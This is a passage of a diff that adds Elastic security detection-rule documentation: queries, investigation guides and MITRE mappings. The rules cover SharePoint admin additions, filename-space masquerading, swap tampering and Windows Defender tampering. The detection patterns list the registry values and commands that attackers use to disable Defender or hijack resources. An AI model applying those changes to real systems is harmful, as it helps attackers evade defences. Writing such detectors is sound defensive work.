and not "Not Available") and + source.geo.country_name:* and + source.geo.region_name:* and + o365.audit.ApplicationId:(* and not ( + 08e18876-6177-487e-b8b5-cf950c1e598c or + 29d9ed98-a469-4536-ade2-f981bc1d605e or + 38aa3b87-a06d-4817-b275-7a316988d93b or + 3e62f81e-590b-425b-9531-cad6683656cf or + a809996b-059e-42e2-9866-db24b99a9782 or + d7b530a4-7680-4c23-a8bf-c52c121d2e87 + )) and + o365.audit.ExtendedProperties.RequestType:(* and not ( + "BulkAADJToken:BulkAADJTokenPoll" or + "Consent:Set" or + "DeviceAuth:PKeyAuth" or + "DeviceAuth:ReprocessTls" or + "Federation:externalauthcallback" or + "Federation:oauth2claimsprovider" or + "Federation:oauth2msa" or + "KerberosProxy:kerberos" or + "Kmsi:kmsi" or + "Login:reprocess" or + "Login:resume" or + "MessagePrompt:MessagePrompt" or + "OrgIdWsFederation:federation" or + "OrgIdWsTrust2:extsts" or + "PermitSso:PermitSso" or + "RegionalCacheAuth:regionalcacheauthtoken" or + "SAS:BeginAuth" or + "SAS:EndAuth" or + "SAS:ProcessAuth" or + "SSPR:end" or + "Saml2:processrequest" or + "UserInfo:Index" or + "WebNativeBridgeController:WebNativeBridgeReprocess" or + "WsFederation:wsfederation" + )) and + not user_agent.original:(*Android* or *PKeyAuth* or *WebView* or *iPad* or *iPhone*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-m365-sharepoint-site-administrator-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-m365-sharepoint-site-administrator-added.asciidoc new file mode 100644 index 0000000000..02557aa771 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-m365-sharepoint-site-administrator-added.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-36-m365-sharepoint-site-administrator-added]] +=== M365 SharePoint Site Administrator Added + +Identifies when a new SharePoint Site Administrator is added in Microsoft 365. Site Administrators have full control over SharePoint Sites, including the ability to manage permissions, access all content, and modify site settings. Adversaries who compromise a privileged account may add themselves or a controlled account as a Site Administrator to maintain persistent, high-privilege access to sensitive SharePoint data. This technique was notably observed in the 0mega ransomware campaign, where attackers elevated privileges to exfiltrate data and deploy ransom notes across SharePoint sites. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/purview/audit-log-activities#site-permissions-activities +* https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Service: Microsoft SharePoint + +*Version*: 4 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint Site Administrator Added* + + +Site Administrators in SharePoint Online have full control over a Site, including the ability to manage permissions, access all content, and configure site-level settings. Adversaries who gain access to a privileged account may assign Site Administrator rights to maintain persistent access or facilitate data exfiltration. The `SiteCollectionAdminAdded` audit event is logged when this privilege is granted. + + +*Possible Investigation Steps* + + +- Review the `user.id` field to determine who performed the action. Assess whether this user normally manages SharePoint site permissions. +- Examine the `o365.audit.ModifiedProperties.SiteAdmin.NewValue` field to identify the account that was granted Site Administrator privileges. +- Check the `o365.audit.SiteUrl` or `url.original` to determine which Site was targeted. Assess the sensitivity of the data stored in this site. +- Review the `o365.audit.TargetUserOrGroupName` and `o365.audit.TargetUserOrGroupType` fields for additional context on the target principal. +- Pivot to sign-in logs for the acting account to look for anomalies such as logins from unfamiliar locations, devices, or IP ranges. +- Investigate whether the newly added admin account has performed subsequent actions such as file downloads, permission changes, or sharing link creation. +- Check for other recent `SiteCollectionAdminAdded` events to determine if multiple Sites were targeted in a short time frame, which may indicate bulk privilege escalation. + + +*False Positive Analysis* + + +- Routine SharePoint administration tasks by IT teams may trigger this alert. Correlate with change management tickets or scheduled maintenance windows. +- Automated provisioning tools that assign Site admin roles during site creation or migration workflows may generate expected alerts. +- Organizational changes such as team transitions or restructuring may involve legitimate Site admin reassignments. + + +*Response and Remediation* + + +- If the admin addition is unauthorized, immediately remove the Site Administrator role from the suspicious account. +- Reset credentials for both the account that performed the action and the account that was added, especially if compromise is suspected. +- Review recent activity on the affected Site for signs of data exfiltration, permission changes, or content modifications. +- Enable or verify enforcement of MFA for all accounts with SharePoint administrative privileges. +- Audit the list of Site Administrators across all Sites to identify any other unauthorized additions. +- Consider implementing Privileged Access Management (PAM) or Privileged Identity Management (PIM) to require just-in-time elevation for SharePoint admin roles. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit + and event.provider:(SharePoint or OneDrive) + and event.category:web + and event.action:SiteCollectionAdminAdded + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-masquerading-space-after-filename.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-masquerading-space-after-filename.asciidoc new file mode 100644 index 0000000000..68b9516667 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-masquerading-space-after-filename.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-36-masquerading-space-after-filename]] +=== Masquerading Space After Filename + +This rules identifies a process created from an executable with a space appended to the end of the filename. This may indicate an attempt to masquerade a malicious file as benign to gain user execution. When a space is added to the end of certain files, the OS will execute the file according to it's true filetype instead of it's extension. Adversaries can hide a program's true filetype by changing the extension of the file. They can then add a space to the end of the name so that the OS automatically executes the file when it's double-clicked. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.picussecurity.com/resource/blog/picus-10-critical-mitre-attck-techniques-t1036-masquerading + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Masquerading +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 15 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Masquerading Space After Filename* + + +In Linux and macOS environments, file execution is determined by the file's true type rather than its extension. Adversaries exploit this by appending a space to filenames, misleading users into executing malicious files disguised as benign. The detection rule identifies such anomalies by monitoring process creation events with filenames ending in a space, excluding known safe processes and paths, thus highlighting potential masquerading attempts. + + +*Possible investigation steps* + + +- Review the process creation event details to identify the full path and name of the executable with a space appended. This can help determine if the file is located in a suspicious or unusual directory. +- Check the process.parent.args field to understand the parent process that initiated the execution. This can provide context on whether the execution was part of a legitimate process chain or potentially malicious activity. +- Investigate the user account associated with the process creation event to determine if the account has a history of executing similar files or if it has been compromised. +- Examine the file's true type and hash to verify its legitimacy and check against known malicious file databases or threat intelligence sources. +- Look for any additional process events or network activity associated with the suspicious executable to identify potential lateral movement or data exfiltration attempts. +- Cross-reference the event with any recent alerts or incidents involving the same host or user to identify patterns or ongoing threats. + + +*False positive analysis* + + +- Processes like "ls", "find", "grep", and "xkbcomp" are known to be safe and can be excluded from triggering the rule by adding them to the exception list. +- Executables located in directories such as "/opt/nessus_agent/*" and "/opt/gitlab/sv/gitlab-exporter/*" are typically non-threatening and should be excluded to prevent false positives. +- Parent processes with arguments like "./check_rubrik", "/usr/bin/check_mk_agent", "/etc/rubrik/start_stop_bootstrap.sh", and "/etc/rubrik/start_stop_agent.sh" are generally safe and can be added to the exclusion list to avoid unnecessary alerts. +- Regularly review and update the exception list to ensure that only verified safe processes and paths are excluded, maintaining the effectiveness of the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution or spread of the potentially malicious file. +- Terminate any suspicious processes identified by the detection rule to halt any ongoing malicious activity. +- Conduct a forensic analysis of the file with the appended space to determine its true file type and origin, using tools like file command or hex editors. +- Remove the malicious file from the system and any other locations it may have been copied to, ensuring complete eradication. +- Review and update endpoint protection settings to block execution of files with suspicious naming conventions, such as those ending with a space. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess potential impacts on other systems. +- Implement additional monitoring for similar masquerading attempts by enhancing logging and alerting mechanisms to detect files with unusual naming patterns. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type:("linux","macos") and event.type == "start" and +process.executable regex~ """/[a-z0-9\s_\-\\./]+\s""" and not ( + process.name in ("ls", "find", "grep", "xkbcomp") or + process.executable like ("/opt/nessus_agent/*", "/opt/gitlab/sv/gitlab-exporter/*") or + process.parent.args in ( + "./check_rubrik", "/usr/bin/check_mk_agent", "/etc/rubrik/start_stop_bootstrap.sh", "/etc/rubrik/start_stop_agent.sh" + ) or + process.args == "runc" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Space after Filename +** ID: T1036.006 +** Reference URL: https://attack.mitre.org/techniques/T1036/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-memory-swap-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-memory-swap-modification.asciidoc new file mode 100644 index 0000000000..135e14f2e8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-memory-swap-modification.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-36-memory-swap-modification]] +=== Memory Swap Modification + +This rule detects memory swap modification events on Linux systems. Memory swap modification can be used to manipulate the system's memory and potentially impact the system's performance. This behavior is commonly observed in malware that deploys miner software such as XMRig. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Memory Swap Modification* + + +Memory swap in Linux systems manages RAM by moving inactive pages to disk, freeing up memory for active processes. Adversaries exploit this by altering swap settings to degrade performance or deploy resource-intensive malware like cryptominers. The detection rule identifies suspicious activities by monitoring processes that modify swap settings or execute related commands, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process details to identify the parent process using the field process.parent.executable. This can help determine if the swap modification was initiated by a legitimate or suspicious parent process. +- Examine the command line arguments captured in process.command_line to understand the specific changes made to swap settings, such as modifications to vm.swappiness. +- Check the user account associated with the process to determine if the action was performed by a privileged or unauthorized user. +- Investigate any recent system performance issues or anomalies that could be linked to swap modifications, such as increased CPU or memory usage. +- Correlate the event with other security alerts or logs to identify if this activity is part of a larger pattern of suspicious behavior, such as the presence of cryptomining software like XMRig. +- Assess the system for any unauthorized software installations or configurations that could indicate a compromise, focusing on resource-intensive applications. + + +*False positive analysis* + + +- System administrators may frequently modify swap settings during routine maintenance or performance tuning. To handle this, create exceptions for known administrator accounts or specific maintenance scripts. +- Automated configuration management tools like Ansible or Puppet might execute commands that alter swap settings. Identify these tools and exclude their processes from triggering alerts. +- Some legitimate applications may adjust swap settings to optimize their performance. Monitor and whitelist these applications to prevent unnecessary alerts. +- Development environments often experiment with system settings, including swap configurations. Consider excluding processes from known development environments or specific user accounts associated with development activities. +- Scheduled tasks or cron jobs might include swap modification commands for system optimization. Review and whitelist these tasks if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or impact of the potential malware. +- Terminate any suspicious processes identified by the detection rule, such as those involving "swapon", "swapoff", or unauthorized modifications to "vm.swappiness". +- Conduct a thorough scan of the isolated system using updated antivirus or anti-malware tools to identify and remove any malicious software, particularly cryptominers like XMRig. +- Review and restore swap settings to their default or secure configurations to ensure system stability and performance. +- Implement monitoring for any further unauthorized changes to swap settings or related processes to detect and respond to similar threats promptly. +- Escalate the incident to the security operations team for a detailed forensic analysis to understand the scope and origin of the attack. +- Update system and security patches to close any vulnerabilities that may have been exploited by the adversary. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. + +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.parent.name != null and +( + process.name in ("swapon", "swapoff") or + ( + process.command_line like ("*vm.swappiness*", "*/proc/sys/vm/swappiness*") and + ( + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and + process.command_line like "*echo *" + ) + ) + ) +) and +not ( + process.parent.name in ("lynis", "systemd", "end-zram-swapping", "SyxsenseResponder", "tuned", "platform-python", "timeout") or + ?process.parent.executable in ("/opt/puppetlabs/puppet/bin/ruby", "/u01/app/grid/perl/bin/perl") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Compute Hijacking +** ID: T1496.001 +** Reference URL: https://attack.mitre.org/techniques/T1496/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-microsoft-windows-defender-tampering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-microsoft-windows-defender-tampering.asciidoc new file mode 100644 index 0000000000..3405efe748 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-microsoft-windows-defender-tampering.asciidoc @@ -0,0 +1,218 @@ +[[prebuilt-rule-8-19-36-microsoft-windows-defender-tampering]] +=== Microsoft Windows Defender Tampering + +Identifies when one or more features on Microsoft Defender are disabled. Adversaries may disable or tamper with Microsoft Defender features to evade detection and conceal malicious behavior. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/ +* https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html +* https://www.tenforums.com/tutorials/104025-turn-off-core-isolation-memory-integrity-windows-10-a.html +* https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html +* https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html +* https://www.tenforums.com/tutorials/51514-turn-off-microsoft-defender-periodic-scanning-windows-10-a.html +* https://www.tenforums.com/tutorials/3569-turn-off-real-time-protection-microsoft-defender-antivirus.html +* https://www.tenforums.com/tutorials/99576-how-schedule-scan-microsoft-defender-antivirus-windows-10-a.html +* https://www.elastic.co/security-labs/invisible-miners-unveiling-ghostengine + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 323 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Windows Defender Tampering* + + +Microsoft Windows Defender is an antivirus product built into Microsoft Windows, which makes it popular across multiple environments. Disabling it is a common step in threat actor playbooks. + +This rule monitors the registry for modifications that disable Windows Defender features. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine which features have been disabled, and check if this operation is done under change management and approved according to the organization's policy. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity, the configuration is justified (for example, it is being used to deploy other security solutions or troubleshooting), and no other suspicious activity has been observed. + + +*Related rules* + + +- Windows Defender Disabled via Registry Modification - 2ffa1f1e-b6db-47fa-994b-1512743847eb +- Disabling Windows Defender Security Settings via PowerShell - c8cccb06-faf2-4cd5-886e-2c9636cfcb87 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Take actions to restore the appropriate Windows Defender antivirus configurations. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and process.executable != null and + ( + ( + registry.value : ( + "PUAProtection", "DisallowExploitProtectionOverride", "TamperProtection", "EnableControlledFolderAccess", + "SpynetReporting", "SubmitSamplesConsent" + ) and registry.data.strings : ("0", "0x00000000") + ) or + ( + registry.value : ( + "DisableAntiSpyware", "DisableRealtimeMonitoring", "DisableIntrusionPreventionSystem", "DisableScriptScanning", + "DisableIOAVProtection", "DisableEnhancedNotifications", "DisableBlockAtFirstSeen", "DisableBehaviorMonitoring" + ) and registry.data.strings : ("1", "0x00000001") + ) + or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\UX Configuration\\Notification_Suppress" + and registry.data.strings : ("1", "0x00000001")) + or + (registry.path : "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\EnableSmartScreen" + and registry.data.strings : ("0", "0x00000000")) + ) and + not process.executable : ( + "?:\\Windows\\system32\\svchost.exe", + "?:\\Windows\\CCM\\CcmExec.exe", + "?:\\Windows\\System32\\DeviceEnroller.exe", + "?:\\Program Files (x86)\\Trend Micro\\Security Agent\\tmuninst.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\svchost.exe", + "\\Device\\HarddiskVolume*\\Windows\\CCM\\CcmExec.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\DeviceEnroller.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Trend Micro\\Security Agent\\tmuninst.exe" + ) + +/* + Full registry key paths omitted due to data source variations: + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableRealtimeMonitoring" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIntrusionPreventionSystem" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableScriptScanning" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableIOAVProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting\\DisableEnhancedNotifications" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\DisableBlockAtFirstSeen" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\DisableBehaviorMonitoring" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\PUAProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\\DisallowExploitProtectionOverride" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features\\TamperProtection" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Windows Defender Exploit Guard\\Controlled Folder Access\\EnableControlledFolderAccess" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\SpynetReporting" + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\SpyNet\\SubmitSamplesConsent" +*/ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-modification-of-the-mspkiaccountcredentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-modification-of-the-mspkiaccountcredentials.asciidoc new file mode 100644 index 0000000000..22a433acb2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-modification-of-the-mspkiaccountcredentials.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-36-modification-of-the-mspkiaccountcredentials]] +=== Modification of the msPKIAccountCredentials + +Identify the modification of the msPKIAccountCredentials attribute in an Active Directory User Object. Attackers can abuse the credentials roaming feature to overwrite an arbitrary file for privilege escalation. ms-PKI-AccountCredentials contains binary large objects (BLOBs) of encrypted credential objects from the credential manager store, private keys, certificates, and certificate requests. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/apt29-windows-credential-roaming +* https://social.technet.microsoft.com/wiki/contents/articles/11483.windows-credential-roaming.aspx +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Data Source: Active Directory +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 122 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification of the msPKIAccountCredentials* + + +The msPKIAccountCredentials attribute in Active Directory stores encrypted credential data, including private keys and certificates. Adversaries may exploit this by altering the attribute to escalate privileges, potentially overwriting files. The detection rule identifies such modifications by monitoring specific directory service events, focusing on changes to 